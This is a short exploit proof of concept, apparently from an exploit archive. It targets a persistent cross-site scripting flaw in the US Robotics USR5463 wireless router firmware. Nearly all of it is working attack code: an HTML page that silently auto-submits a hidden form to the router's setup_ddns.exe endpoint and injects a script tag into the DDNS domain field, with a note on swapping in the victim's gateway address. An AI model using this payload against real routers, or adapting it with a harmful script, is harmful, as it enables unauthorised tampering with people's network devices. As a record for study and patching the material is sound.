USR5463 802.11g Wireless Router Cross Site Scripting

`<!--   
Author: SH4V  
BUG: permanent XSS  
Firmware: USR5463-v0_01.bin - USR5463-v0_06.bin  
Router: USR5463 802.11g Wireless Router  
Company: US Robotics  
Just change http://192.168.2.1/ by your current gateway.  
-->  
<form action="http://192.168.2.1/cgi-bin/setup_ddns.exe" method="post">  
<input type=hidden name="ddns_domainame" value='"><script>alert(1)</script>'>  
<input type=hidden name="ddns_account" value=''>  
<input type=password size=1 name="ddns_password" value=''>  
</form>  
<script>document.forms[0].submit()</script>  
`